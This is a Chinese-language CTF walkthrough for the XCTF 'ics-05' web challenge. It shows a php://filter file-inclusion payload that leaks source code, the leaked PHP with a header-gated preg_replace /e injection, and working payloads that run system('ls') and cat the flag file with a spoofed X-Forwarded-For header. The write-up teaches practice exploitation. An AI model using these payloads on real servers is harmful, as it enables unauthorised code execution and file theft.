XCTF-ics-05

打開題目,根據題目提示找到設備維護中心

點進去(其他點了都沒用),沒發現什麼有用的東西

 

點擊了雲平臺設備維護中心後,發現url後面多了點東西,頁面上也多了點東西,這裏就是突破口

隨便改一下page後面傳入的值,發現後面的東西會被打印在頁面上,嘗試php僞協議,構造payload如下

page=php://filter/read=convert.base64-encode/resource=index.php

成功讀取到base64數據

base64解密,下面是一些關鍵的 php源碼

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>


<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}





?>

發現它過濾了input,所以沒辦法直接使用php://input來執行php代碼,那麼此時最後面的代碼就顯得十分可疑,而後面唯一能存在問題的就是preg_replace,上網搜索preg_replace漏洞,借鑑文章http://blog.topsec.com.cn/audit-defanse-2/,發現觸發漏洞有兩個條件
 

1、正則表達式也就是第一個參數需要e標識符,有了它可以執行第二個參數的命令​​​​​​​

2、第一個參數需要在第三個參數中的中有匹配,不然echo會返回第三個參數而不執行命令

於是自己構造payload

?pat=/0/e&rep=system('ls')&sub=0
同時抓包插入字段:
x-forwarded-for:127.0.0.1

得到當前目錄下的文件和目錄

發現s3chahahaDir比較可疑,於是繼續ls s3chahahaDir,但是這個system裏面不能寫空格,於是用+代替,最後的payload就是

?pat=/0/e&rep=system('ls+s3chahahaDir')&sub=0
同時抓包插入字段:
x-forwarded-for:127.0.0.1

得到這個目錄下的文件和目錄

重複一次上面的步驟,在flag目錄下發現flag.php文件,直接cat查看

 

?pat=/0/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=0
同時抓包插入字段:
x-forwarded-for:127.0.0.1

 

最後再說一下坑點,直接cat查看那個可疑的名字時是沒有回顯的(因爲是目錄),這裏可以用ls繼續查看(別心急),或者在最開始就用ls -l查看文件屬性,最前面是d就是目錄,是-就是文件,後面查看到flag也別心急,多用ls查看,因爲最後如果是文件的話,ls查看會顯示出它的相對路徑

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章